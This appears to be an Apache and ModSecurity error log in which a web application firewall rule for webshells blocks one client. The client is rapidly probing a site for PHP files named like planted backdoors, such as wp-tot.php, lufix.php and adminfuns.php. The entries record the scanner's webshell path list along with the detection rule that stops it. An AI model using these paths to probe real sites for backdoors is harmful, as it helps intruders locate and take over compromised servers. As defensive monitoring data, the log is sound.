[Thu Jan 08 20:05:30.657864 2026] [:error] [pid 15263:tid 15276] [client 20.214.244.118:7744] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aV-ditv61bxum7WG_e_8CgAAAAQ"]
[Thu Jan 08 20:05:33.218383 2026] [:error] [pid 17404:tid 17423] [client 20.214.244.118:8188] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aV-djWVd_oH193N6AnW1-AAAAZE"]
[Thu Jan 08 20:05:35.664870 2026] [:error] [pid 2424:tid 2428] [client 20.214.244.118:10521] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aV-dj7TDJR8aofkBk9QdWAAAAQI"]
[Thu Jan 08 20:05:38.018271 2026] [:error] [pid 15264:tid 15314] [client 20.214.244.118:7622] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aV-dkoov6_kvS0Owh-oLCgAAAE8"]
[Thu Jan 08 20:05:40.318664 2026] [:error] [pid 15264:tid 15322] [client 20.214.244.118:10528] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aV-dlIov6_kvS0Owh-oLEgAAAFc"]
[Thu Jan 08 20:05:43.696162 2026] [:error] [pid 15358:tid 15374] [client 20.214.244.118:8138] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aV-dlyoRk9xWJ3toSBJ02AAAAMQ"]
[Thu Jan 08 20:05:48.490132 2026] [:error] [pid 15264:tid 15323] [client 20.214.244.118:8069] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aV-dnIov6_kvS0Owh-oLIAAAAFg"]
[Thu Jan 08 20:05:52.068647 2026] [:error] [pid 7586:tid 7599] [client 20.214.244.118:54081] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aV-doMJyk37GdXP5TmVk3AAAAcs"]
[Thu Jan 08 20:05:53.929759 2026] [:error] [pid 7586:tid 7606] [client 20.214.244.118:59278] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aV-docJyk37GdXP5TmVk3QAAAdA"]
[Thu Jan 08 20:05:58.540114 2026] [:error] [pid 7586:tid 7593] [client 20.214.244.118:8076] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aV-dpsJyk37GdXP5TmVk4AAAAcU"]
[Thu Jan 08 20:06:01.328486 2026] [:error] [pid 15263:tid 15277] [client 20.214.244.118:59303] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aV-dqdv61bxum7WG_e_8GAAAAAU"]
[Thu Jan 08 20:06:02.727166 2026] [:error] [pid 15265:tid 15333] [client 20.214.244.118:7838] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aV-dqqE6VBKhew2LTFRBagAAAIc"]
[Thu Jan 08 20:06:04.318924 2026] [:error] [pid 15265:tid 15334] [client 20.214.244.118:8072] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aV-drKE6VBKhew2LTFRBbAAAAIg"]
[Thu Jan 08 20:06:07.122215 2026] [:error] [pid 2484:tid 2510] [client 20.214.244.118:59297] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aV-drziDlnlaQQK_AEN7kQAAAVY"]
[Thu Jan 08 20:06:08.246598 2026] [:error] [pid 15265:tid 15329] [client 20.214.244.118:59266] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aV-dsKE6VBKhew2LTFRBcwAAAIM"]
[Thu Jan 08 20:06:09.549419 2026] [:error] [pid 17404:tid 17415] [client 20.214.244.118:59368] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aV-dsWVd_oH193N6AnW2MwAAAYk"]
[Thu Jan 08 20:06:12.132220 2026] [:error] [pid 2484:tid 2486] [client 20.214.244.118:59381] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aV-dtDiDlnlaQQK_AEN7lwAAAUA"]
[Thu Jan 08 20:06:14.636628 2026] [:error] [pid 15358:tid 15380] [client 20.214.244.118:7849] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aV-dtioRk9xWJ3toSBJ08QAAAMo"]
[Thu Jan 08 20:06:16.247456 2026] [:error] [pid 15264:tid 15314] [client 20.214.244.118:59363] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aV-duIov6_kvS0Owh-oLKQAAAE8"]
[Thu Jan 08 20:06:17.535722 2026] [:error] [pid 15358:tid 15393] [client 20.214.244.118:54088] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aV-duSoRk9xWJ3toSBJ09wAAANc"]
[Thu Jan 08 20:06:19.260366 2026] [:error] [pid 15264:tid 15313] [client 20.214.244.118:8105] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aV-du4ov6_kvS0Owh-oLLAAAAE4"]
[Thu Jan 08 20:06:21.041892 2026] [:error] [pid 2484:tid 2488] [client 20.214.244.118:59339] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aV-dvTiDlnlaQQK_AEN7qwAAAUI"]
[Thu Jan 08 20:06:22.357106 2026] [:error] [pid 15264:tid 15315] [client 20.214.244.118:7865] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aV-dvoov6_kvS0Owh-oLMQAAAFA"]
[Thu Jan 08 20:06:24.426015 2026] [:error] [pid 15263:tid 15278] [client 20.214.244.118:8078] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aV-dwNv61bxum7WG_e_8JQAAAAY"]
[Thu Jan 08 20:06:26.170853 2026] [:error] [pid 15265:tid 15339] [client 20.214.244.118:59305] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache795.php"] [unique_id "aV-dwqE6VBKhew2LTFRBzAAAAI0"]
[Thu Jan 08 20:06:28.462559 2026] [proxy_fcgi:error] [pid 2424:tid 2428] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:28.600763 2026] [proxy_fcgi:error] [pid 2424:tid 2443] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:28.749217 2026] [proxy_fcgi:error] [pid 2424:tid 2439] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:28.887390 2026] [proxy_fcgi:error] [pid 2424:tid 2433] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.025729 2026] [proxy_fcgi:error] [pid 2424:tid 2449] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.172697 2026] [proxy_fcgi:error] [pid 2424:tid 2444] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.312032 2026] [proxy_fcgi:error] [pid 2424:tid 2437] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.483162 2026] [proxy_fcgi:error] [pid 2424:tid 2427] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.620469 2026] [proxy_fcgi:error] [pid 2424:tid 2431] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:29.787188 2026] [proxy_fcgi:error] [pid 2424:tid 2429] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:30.254507 2026] [proxy_fcgi:error] [pid 2424:tid 2436] [client 20.214.244.118:55975] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:06:30.396168 2026] [:error] [pid 2424:tid 2432] [client 20.214.244.118:55975] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aV-dxrTDJR8aofkBk9Qd1QAAAQY"]
[Thu Jan 08 20:06:31.870332 2026] [:error] [pid 17404:tid 17408] [client 20.214.244.118:59885] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aV-dx2Vd_oH193N6AnW2yQAAAYI"]
[Thu Jan 08 20:06:34.550200 2026] [:error] [pid 15264:tid 15319] [client 20.214.244.118:55997] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aV-dyoov6_kvS0Owh-oLNwAAAFQ"]
[Thu Jan 08 20:06:35.645142 2026] [:error] [pid 15264:tid 15322] [client 20.214.244.118:59328] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aV-dy4ov6_kvS0Owh-oLOAAAAFc"]
[Thu Jan 08 20:06:36.796094 2026] [:error] [pid 2484:tid 2493] [client 20.214.244.118:55958] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/http.php"] [unique_id "aV-dzDiDlnlaQQK_AEN7vgAAAUY"]
[Thu Jan 08 20:06:38.556536 2026] [:error] [pid 15265:tid 15341] [client 20.214.244.118:59379] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/http.php"] [unique_id "aV-dzqE6VBKhew2LTFRB6wAAAI8"]
[Thu Jan 08 20:06:40.058381 2026] [:error] [pid 15358:tid 15375] [client 20.214.244.118:59787] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/http.php"] [unique_id "aV-d0CoRk9xWJ3toSBJ1DAAAAMU"]
[Thu Jan 08 20:06:41.368299 2026] [:error] [pid 15264:tid 15314] [client 20.214.244.118:59375] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/http.php"] [unique_id "aV-d0Yov6_kvS0Owh-oLPwAAAE8"]
[Thu Jan 08 20:06:42.996494 2026] [:error] [pid 15264:tid 15320] [client 20.214.244.118:59384] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aV-d0oov6_kvS0Owh-oLQAAAAFU"]
[Thu Jan 08 20:06:47.610177 2026] [:error] [pid 15263:tid 15278] [client 20.214.244.118:59871] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aV-d19v61bxum7WG_e_8MgAAAAY"]
[Thu Jan 08 20:06:51.610236 2026] [:error] [pid 7586:tid 7607] [client 20.214.244.118:59370] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aV-d28Jyk37GdXP5TmVlRQAAAdE"]
[Thu Jan 08 20:06:52.454259 2026] [:error] [pid 7586:tid 7595] [client 20.214.244.118:59817] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aV-d3MJyk37GdXP5TmVlRgAAAcc"]
[Thu Jan 08 20:06:53.557347 2026] [:error] [pid 2484:tid 2507] [client 20.214.244.118:55979] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aV-d3TiDlnlaQQK_AEN7zAAAAVM"]
[Thu Jan 08 20:06:54.328819 2026] [:error] [pid 15263:tid 15276] [client 20.214.244.118:59825] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aV-d3tv61bxum7WG_e_8OgAAAAQ"]
[Thu Jan 08 20:06:57.100060 2026] [:error] [pid 15264:tid 15301] [client 20.214.244.118:59894] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aV-d4Yov6_kvS0Owh-oLRAAAAEI"]
[Thu Jan 08 20:06:58.075863 2026] [:error] [pid 15265:tid 15347] [client 20.214.244.118:55992] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aV-d4qE6VBKhew2LTFRCGwAAAJU"]
[Thu Jan 08 20:06:59.229738 2026] [:error] [pid 15265:tid 15336] [client 20.214.244.118:10526] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aV-d46E6VBKhew2LTFRCHAAAAIo"]
[Thu Jan 08 20:07:00.859917 2026] [:error] [pid 17404:tid 17407] [client 20.214.244.118:55955] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aV-d5GVd_oH193N6AnW3MQAAAYE"]
[Thu Jan 08 20:07:03.179531 2026] [:error] [pid 17404:tid 17415] [client 20.214.244.118:60251] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aV-d52Vd_oH193N6AnW3NQAAAYk"]
[Thu Jan 08 20:07:05.923292 2026] [:error] [pid 2484:tid 2495] [client 20.214.244.118:59827] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aV-d6TiDlnlaQQK_AEN71wAAAUg"]
[Thu Jan 08 20:07:07.156752 2026] [:error] [pid 7586:tid 7614] [client 20.214.244.118:59903] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aV-d68Jyk37GdXP5TmVlTAAAAdg"]
[Thu Jan 08 20:07:08.009625 2026] [:error] [pid 15264:tid 15318] [client 20.214.244.118:60223] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aV-d7Iov6_kvS0Owh-oLRwAAAFM"]
[Thu Jan 08 20:07:10.004758 2026] [:error] [pid 7586:tid 7591] [client 20.214.244.118:60286] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aV-d7sJyk37GdXP5TmVlTgAAAcM"]
[Thu Jan 08 20:07:12.005161 2026] [:error] [pid 15265:tid 15329] [client 20.214.244.118:60221] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aV-d8KE6VBKhew2LTFRCJAAAAIM"]
[Thu Jan 08 20:07:14.897260 2026] [:error] [pid 2484:tid 2489] [client 20.214.244.118:59777] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aV-d8jiDlnlaQQK_AEN73wAAAUM"]
[Thu Jan 08 20:07:15.493139 2026] [:error] [pid 2424:tid 2444] [client 20.214.244.118:55941] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aV-d87TDJR8aofkBk9QeEQAAARI"]
[Thu Jan 08 20:07:16.609654 2026] [:error] [pid 2484:tid 2499] [client 20.214.244.118:59852] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aV-d9DiDlnlaQQK_AEN74AAAAUw"]
[Thu Jan 08 20:07:17.973389 2026] [:error] [pid 15264:tid 15320] [client 20.214.244.118:59854] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aV-d9Yov6_kvS0Owh-oLTAAAAFU"]
